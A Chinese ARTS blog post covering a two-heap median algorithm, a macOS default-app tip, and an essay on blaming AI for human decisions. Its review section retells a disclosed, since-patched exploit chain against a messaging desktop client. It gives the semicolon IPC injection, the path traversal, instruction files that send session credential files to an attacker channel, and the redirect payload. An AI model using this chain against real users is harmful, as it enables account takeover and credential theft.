ARTS 1011: 双堆动态对顶求中位数、IPC 注入与空密码串联接管账户与程序从不做决策

每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS)

Algorithm

这周写这个算法:https://leetcode.cn/problems/find-median-from-data-stream/description/?envType=study-plan-v2&envId=selected-coding-interview

image-20261011200039508

最优解代码如下:

1)使用 PriorityQueue 分别维护两个部分,一边是较小部分的最大值,一边是较大部分的最小值。因为我们计算最小值,不需要全局有序,之需要部分有序就好了,并且这个 PriorityQueue 进行排序的时候还使用了完全二叉树,时间复杂度是 O(logN)

2)当我们一个数据过来的时候,需要先在小顶堆里面洗一下,拿到较大的一个数据放到 afterHeap 里面。并且需要注意,还需要维护一下这两个 Heap 的大小

3)当找到 middle 的时候,需要判断是奇数还是偶数。如果是奇数的话,那么只需要找到多的 Heap 的最大的一个就好了,也就是 beforeHeap 的最大的。如果是偶数的话,那么就需要两个 Heap 各自拿出来自己的堆顶元素,之后求平均值就好了。

▼
java
复制代码
class MedianFinder { // 大顶堆:维护前半部分较小的数(堆顶是较小部分里的最大值) final PriorityQueue<Integer> beforeHeap = new PriorityQueue<>(Collections.reverseOrder()); // 小顶堆:维护后半部分较大的数(堆顶是较大部分里的最小值) final PriorityQueue<Integer> afterHeap = new PriorityQueue<>(); public MedianFinder() { } public void addNum(int num) { beforeHeap.offer(num); afterHeap.offer(beforeHeap.poll()); if (afterHeap.size() > beforeHeap.size()) { beforeHeap.offer(afterHeap.poll()); } } public double findMedian() { if (beforeHeap.size() > afterHeap.size()) { return beforeHeap.peek(); } else { return (beforeHeap.peek() + afterHeap.peek()) / 2.0; } } }

下面是 PriorityQueue 比较的核心代码,我们一点一点说。

先看参数:

1)参数 k:是我们调用 offer 插入内容之前的 queue 的 size

2)参数 x:这个就是我们调用 offer 方法插入的内容

接下来看方法体,这个是使用数组进行完全二叉树,效率高还不需要维护指针,具体的动画演示放到了 https://siftup.vercel.app/

我们来看一个相对复杂的案例,当前 queue 的数据是 [12,-3,8],如果把这个数据可视化成完全二叉树的话,那么就是下图的样式:

image-20261012110205728

当我们插入 0 的时候,我们会先进行判断一下 parent 也就是 1 位置(内容是 12),判断是否小于 12 如果小于的话那就就会把 3 位置设置成 1 位置(也就是 12)的指,并且不修改 1 位置的内容。不用一个临时变量可以减少内存占用,简化代码。

image-20261012134818356

之后 k 被赋值为 1 ,1 > 0 所以 while 循环继续,判断 parent 位置也就是 0 位置是否小于插入 x (这里是 0 ) 的值,此时是不小于的,所以直接 break 了。

结束 while 循环之后,我们把之前没有覆写的 k 位置,也就是第一次的 1 位置的内容设置为 x 也就是 0 ,至此方法结束

image-20261012135508503

核心代码:

▼
java
复制代码
private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; }

Review

文章:https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/

安全研究员 beaksec 披露了某社交软件 Windows 桌面端的一条完整漏洞利用链。攻击者只需诱导受害者点击一个经过重定向的恶意链接,即可在无任何确认弹窗的情况下,静默读取本地登录会话凭据并回传至攻击者控制的频道,从而一键接管受害者账户,全程无需受害者做任何额外操作。

1. 单实例进程检测与本地 Socket IPC 序列化缺陷

操作系统在遇到自定义协议链接时,会根据注册表启动对应的应用程序。如果某社交软件尚未运行,进程直接以单实例模式启动并解析 URL;但如果软件已经在后台运行,操作系统并不会识别已有实例,而是直接创建第二个独立进程。

新进程为了维持单实例约束,会尝试连接主进程在启动时就监听的本地 Socket。若连接成功,说明主实例已在运行,新进程便将待打开的 URL 传递给主实例后自行退出。

问题在于,Socket 传输的是字节流而非内存对象,新进程必须将内存中的 URL 对象序列化为文本。某社交软件采用了一套极为简单的文本协议:指令关键字 + 参数 + 分号 ; 作为终止符。发送端代码如下:

▼
cpp
复制代码
// sandbox.cpp for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';'; }

正常链接序列化后如 OPEN:app://x?a=1;。而在主进程接收端,反序列化逻辑直接按照分号 ; 切割字符串:

▼
cpp
复制代码
// sandbox.cpp for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) { auto cmd = base::StringViewMid(cmds, from, to - from); if (cmd.startsWith(u"OPEN:"_q)) { startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192)); } }

由于传入的 URL 没有对分号 ; 做转义,一旦链接本身包含分号——例如 app://x?a=1;CMD:quit——拼接后发送给 Socket 的文本就会变成 OPEN:app://x?a=1;CMD:quit;。接收端按分号切分后,这被解释为两条独立指令:OPEN:app://x?a=1 和 CMD:quit。这就是第一个关键缺陷:未转义的 IPC 分隔符导致了命令注入。

2. 遗留内部特权协议 interpret: 与无鉴权文件外带

虽然 CMD: 指令只支持 show 和 quit 两个操作,但 OPEN: 指令接受任意 URL,且对协议头没有白名单过滤。在客户端源码中,存在一个未向操作系统注册、仅在内部生效的私有协议 interpret::

▼
cpp
复制代码
// application.cpp if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false; }

该协议最初供开发团队的自动化发版工具(updates.py)使用:

▼
python
复制代码
# 内部自动化发版脚本调用的命令 subprocess.call("app.exe -sendpath interpret://" + scriptPath + "/command.txt", shell=True)

它读取一个文本指令文件,格式如下:

▼
text
复制代码
from: 1234567890 channel: 1987654321 file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe caption: TDesktop at 12.06.26: - Fixed a crash in the media viewer.

底层的 InterpretSendPath 函数读取指令文件后,会将 file: 指定的文件自动发送到 channel: 指定的频道或超级群。更关键的是,from: 字段只在存在时才校验当前登录账号,如果省略该字段,校验将被完全跳过。整个过程既没有用户确认弹窗,也没有任何调用来源鉴权。结合前面的分号注入,外部链接即可触发 app://x?a=1;OPEN:interpret:instructions.txt,直接构成“远程读取本地任意文件并外带到指定频道”的攻击原语。

3. 群组自动下载机制与相对路径确定性穿越

要让 interpret: 读取指令文件,攻击者必须先将指令文件投放到受害者电脑上的已知路径。某社交软件桌面端默认配置下,群组中 8MB 以下的附件会自动静默下载到系统下载目录:

▼
text
复制代码
C:\Users\<user>\Downloads\某社交软件 Desktop\<file name>

受害者无需主动点击,文件在群里一经接收便直接落盘。但攻击者仍然不知道受害者的 Windows 用户名 <user>。

然而 interpret: 协议支持相对路径,且以客户端数据目录(%APPDATA%\某社交软件 Desktop)为基准解析。在 Windows 上,%APPDATA% 对应 C:\Users\<user>\AppData\Roaming,从该目录往上跳 3 级恰好到达 C:\Users\<user>,再进入同级的 Downloads 目录即可。因此,攻击者无需猜测用户名,使用如下确定性的相对路径即可精确定位:

▼
text
复制代码
interpret:../../../Downloads/某社交软件%20Desktop/instructions.txt

4. 本地会话 Key Wrapping 加密机制与空密码秒破

既然能读取任意文件,那为何能直接接管账户?某社交软件并未明文保存本地会话凭据,而是采用了密钥包装(Key Wrapping)机制:

  • DEK(Data Encryption Key,数据加密密钥):高随机度长密钥,真正用于加密本地会话数据。
  • KEK(Key Encryption Key,密钥加密密钥):通过密钥派生函数(KDF)结合用户本地密码和盐值计算得出,用来加密 DEK。

其解密流程的伪代码如下:

▼
python
复制代码
salt, encrypted_DEK = read("tdata/key_datas") passcode = user_passcode() # 如果未在设置中配置本地锁屏密码,则为空字符串 "" KEK = KDF(passcode, salt) DEK = decrypt(encrypted_DEK, KEK) session = decrypt(authorization_file, DEK)

关键在于:某社交软件桌面端默认未开启本地锁屏密码,绝大多数用户的 passcode 就是空字符串 ""。而盐值(salt)和加密后的 DEK 直接存放在 tdata/key_datas 文件中。只要获取到 key_datas,攻击者便可用空密码计算 KEK、解出 DEK,进而解密会话授权文件。

客户端的数据目录 tdata 结构如下:

▼
text
复制代码
tdata/ ├── key_datas # 盐值以及加密的 DEK ├── D877F783D5D3EF8Cs # 经 DEK 加密的 MTProto 授权凭据 └── D877F783D5D3EF8C/ └── maps # 账户存储数据的索引(目录名为固定的散列,所有客户端都一致)

只要窃取这 3 个文件并放入一个全新的某社交软件 tdata 目录下启动客户端,即可直接无感登录受害者账户。

5. 实战利用命令与 1-Click 攻击全链路

由于单个指令文件的 file: 字段只能指定一个文件(多个 file: 仅最后一行生效),攻击者需在群里预先投放 3 个指令文件:instructions1.txt、instructions2.txt、instructions3.txt,分别指向 tdata/key_datas、tdata/D877F783D5D3EF8Cs 和 tdata/D877F783D5D3EF8C/maps。指令文件内容示例:

▼
text
复制代码
channel: 2001234567 file: tdata/key_datas caption: poc

受害者进入群组后,客户端自动将这 3 个文件静默下载到 Downloads 目录。随后攻击者在群里发送一个看似正常的外部链接 https://corvus.sec/rules,受害者在客户端内点击后,系统调用默认浏览器打开。攻击者的服务器返回 HTTP 302 重定向:

▼
http
复制代码
GET /rules HTTP/1.1 Host: corvus.sec HTTP/1.1 302 Found Location: app://x?a=1;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions3.txt

浏览器跟随重定向,唤起系统协议处理器,启动第二个客户端进程。该进程通过 Socket 将未转义的字符串推送给后台主进程,主进程按分号切分出 3 条 OPEN:interpret:... 指令并依次静默执行。3 个本地会话凭证文件瞬间被上传到攻击者控制的频道 channel: 2001234567。攻击者将这 3 个文件放入本地客户端的 tdata 目录,受害者账户即被完全接管。

6. 漏洞修复与架构安全反思

官方在 7.2.9 版本(commit db3405699f)中静默修复了该漏洞:

  • 彻底移除了内部私有协议 interpret:// 和 InterpretSendPath 函数;
  • 对 Socket 传输的所有值进行百分号十六进制转义(Percent-Hex Encoding),从根本上避免分号破坏指令边界;
  • 增加了防御纵深:如果同一连接携带了 OPEN:,则丢弃 CMD: 指令;一旦检测到非本地 URL,直接丢弃本地文件路径操作。

这条经典漏洞链值得所有客户端和系统开发者深思:

  • 边缘特性组合成致命攻击链:未转义的 IPC 分隔符(注入)、内部自动化遗留功能(无鉴权)、群组默认自动下载(文件确定性落盘)、默认无本地密码(加密形同虚设)——单独看任何一个都算不上严重漏洞,但串联在一起便形成了无交互的文件窃取与账户接管闭环。
  • 永远不要信任“内部调用通道”:内部发版脚本预设在受信任的构建环境中运行,开发者因此放弃了鉴权与输入校验。然而一旦暴露在外部可触及的攻击面上(协议唤醒、IPC),所谓的内部通道便会沦为攻击者的提权跳板。
  • 官方在 7.2.9 的更新日志中对该漏洞只字未提,仅写了渲染修复——太阳底下没有新鲜事。对用户而言,在即时通讯软件中开启“每次下载都询问保存位置”以及设置本地应用密码,往往是官方修补之前最关键的自我防御手段。

Tips

不知道大家在使用 Mac 的时候有没有感觉到,管理默认应用比较头疼,前一段时间发现了一个很好用的命令行工具 duti ,但是需要记一些命令不是很方便,所以就让 AI 写了一个 sh 方便切换,脚本全部内容有点多,我就放到代码小抄里面了:https://www.codecopy.cn/post/15cpts

什么是 duti?macOS 底层有一个专门管理默认应用关联与 Uniform Type Identifiers (UTI) 的命令行工具 duti:

▼
text
复制代码
brew install duti

效果图:

image-20261012144259743

Share

文章:https://wiki.cateat.fish/art:computers_cannot_make_decisions

核心观点:计算机程序根本无法做决策,任何把责任推给大模型或算法的做法,本质上都是「决策洗白」。

媒体头条中的“主语置换”

作者列举了一系列新闻标题:

  • Anthropic 提交未破谋杀案的假线索
  • OpenAI 对 RubyGems 发动未公开攻击
  • OpenAI 黑入澳大利亚政府网站
  • Anthropic 伪造身份进行入侵尝试
  • Anthropic 在 IPO 招股书中警告“对人类存在生存危机”

这些标题往往把主语写成“AI 做出了某种行为”,但必须看清本质:计算机不会做决策,做决策的永远是背后的人与企业。

那么什么是「决策洗白」?

任何试图将不良后果归咎于 LLM 的做法,都是在进行责任洗白:

  • AI 厂商完全有能力限制和规范模型的行为,但他们选择放任,以此降低成本、追求速度或博取眼球;

  • 当出现安全事故或社会影响时,便将责任推给“模型失控”或虚无缥缈的“技术自主性”;

  • 这种行为之所以缺乏立法监管与惩处,很大程度上是因为监管被认为会阻碍经济利益。

技术本身不能成为逃避责任的「挡箭牌」。在 LLM 时代,我们不应接受把系统行为人格化并为其推卸责任的叙事——每一行生成的恶意代码、每一个被越狱滥用的漏洞,追根究底都是人在做决策、人在承担责任。

0个评论
点击登录,快来和大家讨论吧~
表情
图片
暂无评论
leikooo
作者分享
让 AI 改代码,有时候会遇到一个问题:需求完成了,但多了几个 if;再补一个需求,又加了几个特殊判断。改的时候都说得通,回头看,代码已经绕得有点看不懂了😭。 最近发现 Cursor 的 cursor-team-kit 里有个 skill,叫 thermo-nuclear-code-quality-review,用下来效果挺不错。名字挺狠,可以翻译成「热核级代码质量审查」。它会让 AI 更严格地检查代码,看看哪些地方越改越乱,有没有更简单的写法。 平时让 AI 做 code review,我们往往更关心有没有 bug,边界情况有没有漏掉。这个 skill 会把后续维护也作为审查重点:功能没问题,但下次加需求是不是又得四处补判断?别人接手时,能不能看懂这段代码?如果能在不改变功能的前提下减少分支、去掉多余的封装,它就会要求把这些地方改得更简单。 它查得比较细:有没有到处补条件判断,有没有封装了一层却什么也没简化,业务代码是不是放错了地方。如果这次修改让一个文件从不到 1000 行涨到超过 1000 行,也会要求检查是否该拆分,有充分理由才保留。 安装可以直接交给 AI。在支持安装 skill 的编程工具里,把 GitHub 地址发过去就行: > 帮我安装这个 skill:https://github.com/cursor/plugins/blob/main/cursor-team-kit/skills/thermo-nuclear-code-quality-review/SKILL.md 装好之后,写完一轮代码,让它用这个 skill 检查一下。这时最好说清楚审查范围,比如: > 用 thermo-nuclear-code-quality-review 检查当前分支相对 main 的改动,保存到 docs 目录下面的文件中 最后,如果条件允许,改完还可以换另一家的模型复查一次,把修改后的代码和需求一起给它,看看有没有遗漏,或者为了简化代码改掉了原本的行为。多次校验一下,这样上线才更稳定一些。
8
ARTS 1101: 最长回文串与子序列匹配、一次 URL 请求的来回之旅与如何验证 AI 的交付
6
IP 数据库体积缩小 31%,关键竟然是合并重复子树
4
提到用 Rust 重写项目,很多人的第一反应往往是性能提升。以 Bun 为例,它最初主要采用 Zig 开发,后来在 2026 年发布的 v1.4 版本中将核心代码迁移到了 Rust。用 Rust 重写,性能、安全性往往是大家想要的,但是有没有想过用 Rust 重写还能发现 bug 呢? pgrust 这个项就是,他用 Rust 重新实现 PostgreSQL,保持通信协议和 SQL 方言兼容。为了确认新系统的行为和原版一致,开发者需要对着 PostgreSQL 的实际返回逐个比对。结果查着查着,有些异常不是新代码的锅,PostgreSQL 自己就是这样的。pgrust 开发者 Michael Malis 把其中几个报告给了 PostgreSQL 社区。 大概的问题: 1)SP-GiST 空间索引里有个函数判断点的方位,代码认为上、下、同一水平线三种情况已经穷尽了,末尾放了句「impossible case」兜底。结果在特定浮点边界附近,三种判断同时不成立,程序真走进了这个「不可能」的分支 2)日期格式缓存复用时,一个解析模式的标记没重置,导致同一条 JSONPath 查询在同一个会话里,换个执行顺序结果就不一样。 3)pgcrypto 的 crypt() 在某些输入下截断了多字节字符,返回的文本编码不合法。能存进去,但 pg_dump 导出时就炸了。 一个用 Rust 重写的新项目,测着测着,把运行了几十年的 PostgreSQL 里埋着的东西翻了出来。Rust 重写的价值,不一定只在跑得更快、更安全这一件事上。为了做到真正的兼容,开发者得把前人没怎么碰过的边界全走一遍,这个过程本身就在帮原版排雷。
4
ARTS 1025: 唯一字符与同构字符串、省词可能增加阅读负担与重新估算软件的实现成本
5
下载 APP